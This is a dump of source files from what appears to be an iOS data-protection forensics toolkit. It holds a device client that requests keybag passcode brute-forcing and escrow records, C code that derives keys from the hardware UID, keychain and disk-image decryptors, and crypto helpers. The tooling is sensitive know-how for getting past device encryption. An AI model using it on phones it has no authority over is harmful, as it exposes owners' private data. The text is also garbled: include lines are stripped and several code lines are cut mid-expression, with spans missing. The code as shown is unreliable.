42 | print "Device UDID :", self.device_infos.get("udid")
43 | return DeviceInfo.create(self.device_infos)
44 |
45 | def downloadFile(self, path):
46 | res = self.send_req({"Request": "DownloadFile",
47 | "Path": path})
48 | if type(res) == plistlib._InternalDict and res.has_key("Data"):
49 | return res["Data"].data
50 |
51 | def getSystemKeyBag(self):
52 | return self.send_req({"Request":"GetSystemKeyBag"})
53 |
54 | def bruteforceKeyBag(self, KeyBagKeys):
55 | return self.send_req({"Request":"BruteforceSystemKeyBag",
56 | "KeyBagKeys": plistlib.Data(KeyBagKeys)})
57 |
58 | def getEscrowRecord(self, hostID):
59 | return self.send_req({"Request":"GetEscrowRecord",
60 | "HostID": hostID})
61 |
62 | def getPasscodeKey(self, keybagkeys, passcode):
63 | return self.send_req({"Request":"KeyBagGetPasscodeKey",
64 | "KeyBagKeys": plistlib.Data(keybagkeys),
65 | "passcode": passcode})
66 |
67 | def send_msg(self, dict):
68 | plist = plistlib.writePlistToString(dict)
69 | data = struct.pack("
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include "IOAESAccelerator.h"
11 | #include "IOKit.h"
12 |
13 | io_connect_t conn = 0;
14 | IOByteCount IOAESStructSize = sizeof(IOAESStruct);
15 | pthread_once_t once_control = PTHREAD_ONCE_INIT;
16 |
17 |
18 | void aes_init()
19 | {
20 | conn = IOKit_getConnect("IOAESAccelerator");
21 | }
22 |
23 | io_connect_t IOAESAccelerator_getIOconnect()
24 | {
25 | pthread_once(&once_control, aes_init);
26 | return conn;
27 | }
28 |
29 |
30 | int doAES(void* inbuf, void *outbuf, uint32_t size, uint32_t keyMask, void* key, void* iv, int mode, int bits) {
31 | IOReturn ret;
32 | IOAESStruct in;
33 |
34 | pthread_once(&once_control, aes_init);
35 |
36 | in.mode = mode;
37 | in.bits = bits;
38 | in.inbuf = inbuf;
39 | in.outbuf = outbuf;
40 | in.size = size;
41 | in.mask = keyMask;
42 |
43 | memset(in.keybuf, 0, sizeof(in.keybuf));
44 |
45 | if(key)
46 | memcpy(in.keybuf, key, in.bits / 8);
47 |
48 | if(iv)
49 | memcpy(in.iv, iv, 16);
50 | else
51 | memset(in.iv, 0, 16);
52 |
53 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
54 | if(ret == 0xe00002c2) {
55 | IOAESStructSize = IOAESStruct_sizeold;
56 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
57 | }
58 |
59 | if(iv)
60 | memcpy(iv, in.iv, 16);
61 |
62 | return ret;
63 | }
64 |
65 | IOReturn doAES_wrapper(void* thisxxx, int mode, void* iv, void* outbuf, void *inbuf, uint32_t size, uint32_t keyMask)
66 | {
67 | int x = doAES(inbuf, outbuf, size, keyMask, NULL, iv, mode, 128);
68 | return !x;
69 | }
70 |
71 | int AES_UID_Encrypt(void* input2, void* output, size_t len)
72 | {
73 | IOAESStruct in;
74 | IOReturn ret;
75 | unsigned char* input = malloc(16);
76 |
77 | memcpy(input, input2, 16);
78 |
79 | pthread_once(&once_control, aes_init);
80 |
81 | in.mode = kIOAESAcceleratorEncrypt;
82 | in.mask = kIOAESAcceleratorUIDMask;
83 | in.bits = 128;
84 | in.inbuf = input;
85 | in.outbuf = output;
86 | in.size = len;
87 |
88 | memset(in.keybuf, 0, sizeof(in.keybuf));
89 | memset(in.iv, 0, 16);
90 |
91 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
92 | if(ret == 0xe00002c2) {
93 | IOAESStructSize = IOAESStruct_sizeold;
94 | ret = IOConnectCallStructMethod(conn, kIOAESAcceleratorTask, &in, IOAESStructSize, &in, &IOAESStructSize);
95 | }
96 |
97 | if(ret != kIOReturnSuccess) {
98 | fprintf(stderr, "IOAESAccelerator returned: %x\n", ret);
99 |
100 | }
101 | return ret;
102 | }
103 |
104 | uint8_t* IOAES_key835()
105 | {
106 | static uint8_t key835[16] = {0};
107 | AES_UID_Encrypt("\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01", key835, 16);
108 | return key835;
109 | }
110 |
111 | uint8_t* IOAES_key89B()
112 | {
113 | static uint8_t key89B[16] = {0};
114 | AES_UID_Encrypt("\x18\x3E\x99\x67\x6B\xB0\x3C\x54\x6F\xA4\x68\xF5\x1C\x0C\xBD\x49", key89B, 16);
115 | return key89B;
116 | }
--------------------------------------------------------------------------------
/python_scripts/keychain/keychain4.py:
--------------------------------------------------------------------------------
1 | from crypto.aes import AESdecryptCBC
2 | import struct
3 |
4 | """
5 | iOS 4 keychain-2.db data column format
6 |
7 | version 0x00000000
8 | key class 0x00000008
9 | kSecAttrAccessibleWhenUnlocked 6
10 | kSecAttrAccessibleAfterFirstUnlock 7
11 | kSecAttrAccessibleAlways 8
12 | kSecAttrAccessibleWhenUnlockedThisDeviceOnly 9
13 | kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly 10
14 | kSecAttrAccessibleAlwaysThisDeviceOnly 11
15 | wrapped AES256 key 0x28 bytes (passed to kAppleKeyStoreKeyUnwrap)
16 | encrypted data (AES 256 CBC zero IV)
17 | """
18 | from keychain import Keychain
19 | from crypto.gcm import gcm_decrypt
20 | from util.bplist import BPlistReader
21 |
22 | KSECATTRACCESSIBLE = {
23 | 6: "kSecAttrAccessibleWhenUnlocked",
24 | 7: "kSecAttrAccessibleAfterFirstUnlock",
25 | 8: "kSecAttrAccessibleAlways",
26 | 9: "kSecAttrAccessibleWhenUnlockedThisDeviceOnly",
27 | 10: "kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly",
28 | 11: "kSecAttrAccessibleAlwaysThisDeviceOnly"
29 | }
30 |
31 | class Keychain4(Keychain):
32 | def __init__(self, filename, keybag):
33 | if not keybag.unlocked:
34 | raise Exception("Keychain4 object created with locked keybag")
35 | Keychain.__init__(self, filename)
36 | self.keybag = keybag
37 |
38 | def decrypt_item(self, row):
39 | version, clas = struct.unpack("= 9 and not self.keybag.deviceKey:
42 | return {}
43 | if version >= 2:
44 | dict = self.decrypt_blob(row["data"])
45 | if not dict:
46 | return {}
47 | if dict.has_key("v_Data"):
48 | dict["data"] = dict["v_Data"].data
49 | else:
50 | dict["data"] = ""
51 | dict["rowid"] = row["rowid"]
52 | return dict
53 | return Keychain.decrypt_item(self, row)
54 |
55 | def decrypt_data(self, data):
56 | data = self.decrypt_blob(data)
57 | if type(data) == dict:
58 | return data["v_Data"].data
59 | return data
60 |
61 | def decrypt_blob(self, blob):
62 | if blob == None:
63 | return ""
64 |
65 | if len(blob) < 48:
66 | print "keychain blob length must be >= 48"
67 | return
68 |
69 | version, clas = struct.unpack("
5 | *
6 | * Permission to use, copy, modify, and distribute this software for any
7 | * purpose with or without fee is hereby granted, provided that the above
8 | * copyright notice and this permission notice appear in all copies.
9 | *
10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
17 | */
18 |
19 | /*
20 | * This code implements the AES Key Wrap algorithm described in RFC 3394.
21 | */
22 |
23 | #include
24 | #include
25 |
26 | //haxs to compile on osx
27 | #include
28 | #define timingsafe_bcmp bcmp
29 | #define ovbcopy bcopy
30 | #define explicit_bzero bzero
31 | #define htobe64 CFSwapInt64BigToHost
32 | #include "rijndael.h"
33 | #include "key_wrap.h"
34 |
35 |
36 | static const u_int8_t IV[8] =
37 | { 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6, 0xa6 };
38 |
39 | void
40 | aes_key_wrap_set_key(aes_key_wrap_ctx *ctx, const u_int8_t *K, size_t K_len)
41 | {
42 | rijndael_set_key(&ctx->ctx, K, K_len * NBBY);
43 | }
44 |
45 | void
46 | aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *ctx, const u_int8_t *K,
47 | size_t K_len)
48 | {
49 | rijndael_set_key_enc_only(&ctx->ctx, K, K_len * NBBY);
50 | }
51 |
52 | void
53 | aes_key_wrap(aes_key_wrap_ctx *ctx, const u_int8_t *P, size_t n, u_int8_t *C)
54 | {
55 | u_int64_t B[2], t;
56 | u_int8_t *A, *R;
57 | size_t i;
58 | int j;
59 |
60 | ovbcopy(P, C + 8, n * 8); /* P and C may overlap */
61 | A = C; /* A points to C[0] */
62 | memcpy(A, IV, 8); /* A = IV, an initial value */
63 |
64 | for (j = 0, t = 1; j <= 5; j++) {
65 | R = C + 8;
66 | for (i = 1; i <= n; i++, t++) {
67 | /* B = A | R[i] */
68 | memcpy(&B[0], A, 8);
69 | memcpy(&B[1], R, 8);
70 | /* B = AES(K, B) */
71 | rijndael_encrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B);
72 | /* MSB(64, B) = MSB(64, B) ^ t */
73 | B[0] ^= htobe64(t);
74 | /* A = MSB(64, B) */
75 | memcpy(A, &B[0], 8);
76 | /* R[i] = LSB(64, B) */
77 | memcpy(R, &B[1], 8);
78 |
79 | R += 8;
80 | }
81 | }
82 | explicit_bzero(B, sizeof B);
83 | }
84 |
85 | int
86 | aes_key_unwrap(aes_key_wrap_ctx *ctx, const u_int8_t *C, u_int8_t *P, size_t n)
87 | {
88 | u_int64_t B[2], t;
89 | u_int8_t A[8], *R;
90 | size_t i;
91 | int j;
92 |
93 | memcpy(A, C, 8); /* A = C[0] */
94 | ovbcopy(C + 8, P, n * 8); /* P and C may overlap */
95 |
96 | for (j = 5, t = 6 * n; j >= 0; j--) {
97 | R = P + (n - 1) * 8;
98 | for (i = n; i >= 1; i--, t--) {
99 | /* MSB(64, B) = A */
100 | memcpy(&B[0], A, 8);
101 | /* MSB(64, B) = MSB(64, B) ^ t */
102 | B[0] ^= htobe64(t);
103 | /* B = MSB(64, B) | R[i] */
104 | memcpy(&B[1], R, 8);
105 | /* B = AES-1(K, B) */
106 | rijndael_decrypt(&ctx->ctx, (caddr_t)B, (caddr_t)B);
107 | /* A = MSB(64, B) */
108 | memcpy(A, &B[0], 8);
109 | /* R[i] = LSB(64, B) */
110 | memcpy(R, &B[1], 8);
111 |
112 | R -= 8;
113 | }
114 | }
115 | explicit_bzero(B, sizeof B);
116 |
117 | /* check that A is an appropriate initial value */
118 | return timingsafe_bcmp(A, IV, 8) != 0;
119 | }
120 |
--------------------------------------------------------------------------------
/emf_decrypter/hfs/extents.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | static inline void flipExtentDescriptor(HFSPlusExtentDescriptor* extentDescriptor) {
6 | FLIPENDIAN(extentDescriptor->startBlock);
7 | FLIPENDIAN(extentDescriptor->blockCount);
8 | }
9 |
10 | void flipExtentRecord(HFSPlusExtentRecord* extentRecord) {
11 | HFSPlusExtentDescriptor *extentDescriptor;
12 | extentDescriptor = (HFSPlusExtentDescriptor*)extentRecord;
13 |
14 | flipExtentDescriptor(&extentDescriptor[0]);
15 | flipExtentDescriptor(&extentDescriptor[1]);
16 | flipExtentDescriptor(&extentDescriptor[2]);
17 | flipExtentDescriptor(&extentDescriptor[3]);
18 | flipExtentDescriptor(&extentDescriptor[4]);
19 | flipExtentDescriptor(&extentDescriptor[5]);
20 | flipExtentDescriptor(&extentDescriptor[6]);
21 | flipExtentDescriptor(&extentDescriptor[7]);
22 | }
23 |
24 | static int extentCompare(BTKey* vLeft, BTKey* vRight) {
25 | HFSPlusExtentKey* left;
26 | HFSPlusExtentKey* right;
27 |
28 | left = (HFSPlusExtentKey*) vLeft;
29 | right =(HFSPlusExtentKey*) vRight;
30 |
31 | if(left->forkType < right->forkType) {
32 | return -1;
33 | } else if(left->forkType > right->forkType) {
34 | return 1;
35 | } else {
36 | if(left->fileID < right->fileID) {
37 | return -1;
38 | } else if(left->fileID > right->fileID) {
39 | return 1;
40 | } else {
41 | if(left->startBlock < right->startBlock) {
42 | return -1;
43 | } else if(left->startBlock > right->startBlock) {
44 | return 1;
45 | } else {
46 | /* do a safety check on key length. Otherwise, bad things may happen later on when we try to add or remove with this key */
47 | if(left->keyLength == right->keyLength) {
48 | return 0;
49 | } else if(left->keyLength < right->keyLength) {
50 | return -1;
51 | } else {
52 | return 1;
53 | }
54 | return 0;
55 | }
56 | }
57 | }
58 | }
59 |
60 | static BTKey* extentKeyRead(off_t offset, io_func* io) {
61 | HFSPlusExtentKey* key;
62 |
63 | key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey));
64 |
65 | if(!READ(io, offset, sizeof(HFSPlusExtentKey), key))
66 | return NULL;
67 |
68 | FLIPENDIAN(key->keyLength);
69 | FLIPENDIAN(key->forkType);
70 | FLIPENDIAN(key->fileID);
71 | FLIPENDIAN(key->startBlock);
72 |
73 | return (BTKey*)key;
74 | }
75 |
76 | static int extentKeyWrite(off_t offset, BTKey* toWrite, io_func* io) {
77 | HFSPlusExtentKey* key;
78 |
79 | key = (HFSPlusExtentKey*) malloc(sizeof(HFSPlusExtentKey));
80 |
81 | memcpy(key, toWrite, sizeof(HFSPlusExtentKey));
82 |
83 | FLIPENDIAN(key->keyLength);
84 | FLIPENDIAN(key->forkType);
85 | FLIPENDIAN(key->fileID);
86 | FLIPENDIAN(key->startBlock);
87 |
88 | if(!WRITE(io, offset, sizeof(HFSPlusExtentKey), key))
89 | return FALSE;
90 |
91 | free(key);
92 |
93 | return TRUE;
94 | }
95 |
96 | static void extentKeyPrint(BTKey* toPrint) {
97 | HFSPlusExtentKey* key;
98 |
99 | key = (HFSPlusExtentKey*)toPrint;
100 |
101 | printf("extent%d:%d:%d", key->forkType, key->fileID, key->startBlock);
102 | }
103 |
104 | static BTKey* extentDataRead(off_t offset, io_func* io) {
105 | HFSPlusExtentRecord* record;
106 |
107 | record = (HFSPlusExtentRecord*) malloc(sizeof(HFSPlusExtentRecord));
108 |
109 | if(!READ(io, offset, sizeof(HFSPlusExtentRecord), record))
110 | return NULL;
111 |
112 | flipExtentRecord(record);
113 |
114 | return (BTKey*)record;
115 | }
116 |
117 | BTree* openExtentsTree(io_func* file) {
118 | return openBTree(file, &extentCompare, &extentKeyRead, &extentKeyWrite, &extentKeyPrint, &extentDataRead);
119 | }
120 |
--------------------------------------------------------------------------------
/emf_decrypter/emf/emf_init.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "hfs/hfslib.h"
9 | #include "emf.h"
10 |
11 | size_t ConvertHexaCFString(CFStringRef s, uint8_t** bytes)
12 | {
13 | uint32_t len = CFStringGetLength(s);
14 | uint8_t* hex = malloc(len+1);
15 |
16 | if(hex == NULL)
17 | return 0;
18 |
19 | if(!CFStringGetCString(s, hex, len+1, kCFStringEncodingASCII))
20 | {
21 | free(hex);
22 | return 0;
23 | }
24 | size_t size = 0;
25 | hexToBytes(hex, bytes, &size);
26 | free(hex);
27 | return size;
28 | }
29 |
30 | void grabClassKey(const void *key, const void *value, void *context)
31 | {
32 | EMFInfo* emf = (EMFInfo*) context;
33 | uint8_t* class_key = NULL;
34 |
35 | if(CFGetTypeID(key) != CFStringGetTypeID() || CFGetTypeID(value) != CFStringGetTypeID())
36 | return;
37 |
38 | SInt32 clas = CFStringGetIntValue((CFStringRef)key);
39 |
40 | if(clas > 0 && clas <= MAX_CLASS_KEYS && CFStringGetLength((CFStringRef) value) == 64)
41 | {
42 | if(ConvertHexaCFString(value, &class_key) == 32)
43 | {
44 | AES_set_decrypt_key(class_key, 32*8, &(emf->classKeys[clas-1]));
45 | free(class_key);
46 | emf->classKeys_bitset |= 1 << clas;
47 | }
48 | }
49 |
50 | }
51 |
52 | EMFInfo* EMF_init(Volume* volume, char* imagePath)
53 | {
54 | uint8_t* emfk = NULL;
55 | uint8_t* dkey = NULL;
56 |
57 | uint64_t volume_id = *((uint64_t*) (&volume->volumeHeader->finderInfo[6]));
58 | FLIPENDIAN(volume_id);
59 |
60 | if(imagePath == NULL)
61 | imagePath = ".";
62 |
63 | printf("Volume identifier : %llx\n", volume_id);
64 | printf("Searching for %s/%llx.plist\n", imagePath, volume_id);
65 |
66 | CFStringRef path = CFStringCreateWithFormat(NULL, NULL, CFSTR("%s/%llx.plist"), imagePath, volume_id);
67 |
68 | CFURLRef fileURL = CFURLCreateWithFileSystemPath(NULL, path, kCFURLPOSIXPathStyle, FALSE);
69 | CFRelease(path);
70 |
71 | CFReadStreamRef stream = CFReadStreamCreateWithFile(NULL, fileURL);
72 | CFRelease(fileURL);
73 |
74 | if(stream == NULL)
75 | {
76 | return NULL;
77 | }
78 | if(!CFReadStreamOpen(stream))
79 | {
80 | fprintf(stderr, "Cannot open file\n");
81 | return NULL;
82 | }
83 | CFPropertyListRef dict = CFPropertyListCreateWithStream(NULL, stream, 0, kCFPropertyListImmutable, NULL, NULL);
84 |
85 | CFRelease(stream);
86 |
87 | if (dict == NULL || CFGetTypeID(dict) != CFDictionaryGetTypeID())
88 | return NULL;
89 |
90 | CFStringRef emfHex = CFDictionaryGetValue(dict, CFSTR("EMF"));
91 | CFStringRef dkeyHex = CFDictionaryGetValue(dict, CFSTR("DKey"));
92 | CFNumberRef dataVolumeOffset = CFDictionaryGetValue (dict, CFSTR("dataVolumeOffset"));
93 |
94 | if (emfHex == NULL || CFGetTypeID(emfHex) != CFStringGetTypeID())
95 | return NULL;
96 | if (dkeyHex == NULL || CFGetTypeID(dkeyHex) != CFStringGetTypeID())
97 | return NULL;
98 | if (dataVolumeOffset == NULL || CFGetTypeID(dataVolumeOffset) != CFNumberGetTypeID())
99 | return NULL;
100 |
101 | EMFInfo* emf = malloc(sizeof(EMFInfo));
102 |
103 | if(emf == NULL)
104 | return NULL;
105 |
106 | memset(emf, 0, sizeof(EMFInfo));
107 |
108 | emf->volume = volume;
109 |
110 | CFNumberGetValue(dataVolumeOffset, kCFNumberLongType, &emf->volume_offset);
111 |
112 | printf("Data partition offset = %llx\n", emf->volume_offset);
113 |
114 | if(ConvertHexaCFString(emfHex, &emfk) != 32)
115 | {
116 | fprintf(stderr, "Invalid EMF key\n");
117 | free(emf);
118 | return NULL;
119 | }
120 | if(ConvertHexaCFString(dkeyHex, &dkey) != 32)
121 | {
122 | fprintf(stderr, "Invalid DKey key\n");
123 | free(emf);
124 | return NULL;
125 | }
126 |
127 | AES_set_encrypt_key(emfk, 32*8, &(emf->emfkey));
128 | AES_set_decrypt_key(dkey, 32*8, &(emf->classKeys[CLASS_DKEY-1]));
129 | emf->classKeys_bitset |= 1 << CLASS_DKEY;
130 |
131 | CFDictionaryRef classKeys = CFDictionaryGetValue(dict, CFSTR("classKeys"));
132 |
133 | if(classKeys != NULL && CFGetTypeID(classKeys) == CFDictionaryGetTypeID())
134 | {
135 | printf("Reading class keys, NSProtectionComplete files should be decrypted OK\n");
136 | CFDictionaryApplyFunction(classKeys, grabClassKey, (void*) emf);
137 | }
138 | else
139 | {
140 | printf("Only NSProtectionNone files will be decrypted\n");
141 | }
142 |
143 | free(emfk);
144 | free(dkey);
145 | return emf;
146 | }
147 |
--------------------------------------------------------------------------------
/usbmuxd-python-client/tcprelay.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # -*- coding: utf-8 -*-
3 | #
4 | # tcprelay.py - TCP connection relay for usbmuxd
5 | #
6 | # Copyright (C) 2009 Hector Martin "marcan"
7 | #
8 | # This program is free software; you can redistribute it and/or modify
9 | # it under the terms of the GNU General Public License as published by
10 | # the Free Software Foundation, either version 2 or version 3.
11 | #
12 | # This program is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
20 |
21 | import usbmux
22 | import SocketServer
23 | import select
24 | from optparse import OptionParser
25 | import sys
26 | import threading
27 |
28 | class SocketRelay(object):
29 | def __init__(self, a, b, maxbuf=65535):
30 | self.a = a
31 | self.b = b
32 | self.atob = ""
33 | self.btoa = ""
34 | self.maxbuf = maxbuf
35 | def handle(self):
36 | while True:
37 | rlist = []
38 | wlist = []
39 | xlist = [self.a, self.b]
40 | if self.atob:
41 | wlist.append(self.b)
42 | if self.btoa:
43 | wlist.append(self.a)
44 | if len(self.atob) < self.maxbuf:
45 | rlist.append(self.a)
46 | if len(self.btoa) < self.maxbuf:
47 | rlist.append(self.b)
48 | rlo, wlo, xlo = select.select(rlist, wlist, xlist)
49 | if xlo:
50 | return
51 | if self.a in wlo:
52 | n = self.a.send(self.btoa)
53 | self.btoa = self.btoa[n:]
54 | if self.b in wlo:
55 | n = self.b.send(self.atob)
56 | self.atob = self.atob[n:]
57 | if self.a in rlo:
58 | s = self.a.recv(self.maxbuf - len(self.atob))
59 | if not s:
60 | return
61 | self.atob += s
62 | if self.b in rlo:
63 | s = self.b.recv(self.maxbuf - len(self.btoa))
64 | if not s:
65 | return
66 | self.btoa += s
67 | #print "Relay iter: %8d atob, %8d btoa, lists: %r %r %r"%(len(self.atob), len(self.btoa), rlo, wlo, xlo)
68 |
69 | class TCPRelay(SocketServer.BaseRequestHandler):
70 | def handle(self):
71 | print "Incoming connection to %d"%self.server.server_address[1]
72 | mux = usbmux.USBMux(options.sockpath)
73 | print "Waiting for devices..."
74 | if not mux.devices:
75 | mux.process(1.0)
76 | if not mux.devices:
77 | print "No device found"
78 | self.request.close()
79 | return
80 | dev = mux.devices[0]
81 | print "Connecting to device %s"%str(dev)
82 | dsock = mux.connect(dev, self.server.rport)
83 | lsock = self.request
84 | print "Connection established, relaying data"
85 | try:
86 | fwd = SocketRelay(dsock, lsock, self.server.bufsize * 1024)
87 | fwd.handle()
88 | finally:
89 | dsock.close()
90 | lsock.close()
91 | print "Connection closed"
92 |
93 | class TCPServer(SocketServer.TCPServer):
94 | allow_reuse_address = True
95 |
96 | class ThreadedTCPServer(SocketServer.ThreadingMixIn, TCPServer):
97 | pass
98 |
99 | HOST = "localhost"
100 |
101 | parser = OptionParser(usage="usage: %prog [OPTIONS] RemotePort[:LocalPort] [RemotePort[:LocalPort]]...")
102 | parser.add_option("-t", "--threaded", dest='threaded', action='store_true', default=False, help="use threading to handle multiple connections at once")
103 | parser.add_option("-b", "--bufsize", dest='bufsize', action='store', metavar='KILOBYTES', type='int', default=128, help="specify buffer size for socket forwarding")
104 | parser.add_option("-s", "--socket", dest='sockpath', action='store', metavar='PATH', type='str', default=None, help="specify the path of the usbmuxd socket")
105 |
106 | options, args = parser.parse_args()
107 |
108 | serverclass = TCPServer
109 | if options.threaded:
110 | serverclass = ThreadedTCPServer
111 |
112 | if len(args) == 0:
113 | parser.print_help()
114 | sys.exit(1)
115 |
116 | ports = []
117 |
118 | for arg in args:
119 | try:
120 | if ':' in arg:
121 | rport, lport = arg.split(":")
122 | rport = int(rport)
123 | lport = int(lport)
124 | ports.append((rport, lport))
125 | else:
126 | ports.append((int(arg), int(arg)))
127 | except:
128 | parser.print_help()
129 | sys.exit(1)
130 |
131 | servers=[]
132 |
133 | for rport, lport in ports:
134 | print "Forwarding local port %d to remote port %d"%(lport, rport)
135 | server = serverclass((HOST, lport), TCPRelay)
136 | server.rport = rport
137 | server.bufsize = options.bufsize
138 | servers.append(server)
139 |
140 | alive = True
141 |
142 | while alive:
143 | try:
144 | rl, wl, xl = select.select(servers, [], [])
145 | for server in rl:
146 | server.handle_request()
147 | except:
148 | alive = False
149 |
--------------------------------------------------------------------------------
/python_scripts/crypto/gcm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | from Crypto.Cipher import AES
4 | from Crypto.Util import strxor
5 | from struct import pack, unpack
6 | from util.bplist import BPlistReader
7 |
8 | def gcm_rightshift(vec):
9 | for x in range(15, 0, -1):
10 | c = vec[x] >> 1
11 | c |= (vec[x-1] << 7) & 0x80
12 | vec[x] = c
13 | vec[0] >>= 1
14 | return vec
15 |
16 | def gcm_gf_mult(a, b):
17 | mask = [ 0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02, 0x01 ]
18 | poly = [ 0x00, 0xe1 ]
19 |
20 | Z = [0] * 16
21 | V = [c for c in a]
22 |
23 | for x in range(128):
24 | if b[x >> 3] & mask[x & 7]:
25 | Z = [V[y] ^ Z[y] for y in range(16)]
26 | bit = V[15] & 1
27 | V = gcm_rightshift(V)
28 | V[0] ^= poly[bit]
29 | return Z
30 |
31 | def ghash(h, auth_data, data):
32 | u = (16 - len(data)) % 16
33 | v = (16 - len(auth_data)) % 16
34 |
35 | x = auth_data + chr(0) * v + data + chr(0) * u
36 | x += pack('>QQ', len(auth_data) * 8, len(data) * 8)
37 |
38 | y = [0] * 16
39 | vec_h = [ord(c) for c in h]
40 |
41 | for i in range(0, len(x), 16):
42 | block = [ord(c) for c in x[i:i+16]]
43 | y = [y[j] ^ block[j] for j in range(16)]
44 | y = gcm_gf_mult(y, vec_h)
45 |
46 | return ''.join(chr(c) for c in y)
47 |
48 | def inc32(block):
49 | counter, = unpack('>L', block[12:])
50 | counter += 1
51 | return block[:12] + pack('>L', counter)
52 |
53 | def gctr(k, icb, plaintext):
54 | y = ''
55 | if len(plaintext) == 0:
56 | return y
57 |
58 | aes = AES.new(k)
59 | cb = icb
60 |
61 | for i in range(0, len(plaintext), aes.block_size):
62 | cb = inc32(cb)
63 | encrypted = aes.encrypt(cb)
64 | plaintext_block = plaintext[i:i+aes.block_size]
65 | y += strxor.strxor(plaintext_block, encrypted[:len(plaintext_block)])
66 |
67 | return y
68 |
69 | def gcm_decrypt(k, iv, encrypted, auth_data, tag):
70 | aes = AES.new(k)
71 | h = aes.encrypt(chr(0) * aes.block_size)
72 |
73 | if len(iv) == 12:
74 | y0 = iv + "\x00\x00\x00\x01"
75 | else:
76 | y0 = ghash(h, '', iv)
77 |
78 | decrypted = gctr(k, y0, encrypted)
79 | s = ghash(h, auth_data, encrypted)
80 |
81 | t = aes.encrypt(y0)
82 | T = strxor.strxor(s, t)
83 | if T != tag:
84 | raise ValueError('Decrypted data is invalid')
85 | else:
86 | return decrypted
87 |
88 | def gcm_encrypt(k, iv, plaintext, auth_data):
89 | aes = AES.new(k)
90 | h = aes.encrypt(chr(0) * aes.block_size)
91 |
92 | if len(iv) == 12:
93 | y0 = iv + "\x00\x00\x00\x01"
94 | else:
95 | y0 = ghash(h, '', iv)
96 |
97 | encrypted = gctr(k, y0, plaintext)
98 | s = ghash(h, auth_data, encrypted)
99 |
100 | t = aes.encrypt(y0)
101 | T = strxor.strxor(s, t)
102 | return (encrypted, T)
103 |
104 | def main():
105 | #http://www.ieee802.org/1/files/public/docs2011/bn-randall-test-vectors-0511-v1.pdf
106 | k = 'AD7A2BD03EAC835A6F620FDCB506B345'.decode("hex")
107 | p = ''
108 | a = 'D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001'.decode("hex")
109 | iv = '12153524C0895E81B2C28465'.decode("hex")
110 | c, t = gcm_encrypt(k, iv, '', a)
111 | assert c == ""
112 | assert t == "f09478a9b09007d06f46e9b6a1da25dd".decode("hex")
113 |
114 | k = 'AD7A2BD03EAC835A6F620FDCB506B345'.decode("hex")
115 | p = '08000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333435363738393A0002'.decode("hex")
116 | a = 'D609B1F056637A0D46DF998D88E52E00B2C2846512153524C0895E81'.decode("hex")
117 | iv = '12153524C0895E81B2C28465'.decode("hex")
118 | c, t = gcm_encrypt(k, iv, p, a)
119 | assert c == '701AFA1CC039C0D765128A665DAB69243899BF7318CCDC81C9931DA17FBE8EDD7D17CB8B4C26FC81E3284F2B7FBA713D'.decode("hex")
120 | assert t == '4F8D55E7D3F06FD5A13C0C29B9D5B880'.decode("hex")
121 |
122 | key = "91bfb6cbcff07b93a4c68bbfe99ac63b713f0627025c0fb1ffc5b0812dc284f8".decode("hex")
123 | data = "020000000B00000028000000DE44D22E96B1966BAEF4CBEA8675871D40BA669401BD4EBB52AF9C025134187E70549012058456BF0EC0FA1F8FF9F822AC4312AB2141FA712E6D1482358EAC1421A1BFFA81EF38BD0BF2E52675D665EFE3C534E188F575774FAA92E74345575E370B9982661FAE8BD9243B7AD7D2105B275424C0CA1145B9D43AFF04F2747E40D62EC60563960D62A894BE66F267B14D75C0572BE60CC9B339D440FCB418D4F729BBF15C14E0D3A43E4A8B44523D8B3B0F3E7DF85AA67A707EE19CB893277D2392234D7DBC17DA4A0BD7F166189FC54C16C20D287E20FD2FB11BD2CE09ADBDABB95124CD4BFE219E34D3C80E69570A5A506555D7094916C5D75E0065F1796F556EDF0DAA1AA758E0C85AE3951BD363F26B1D43F6CBAEE12D97AD3B60CFA89C1C76BB29F2B54BE31B6CE166F4860C5E5DA92588EF53AA946DF159E60E6F05009D12FB1E37".decode("hex")
124 | ciphertext = data[12+40:-16]
125 | tag = data[-16:]
126 | print repr(gcm_decrypt(key, '', ciphertext, '', tag))
127 |
128 |
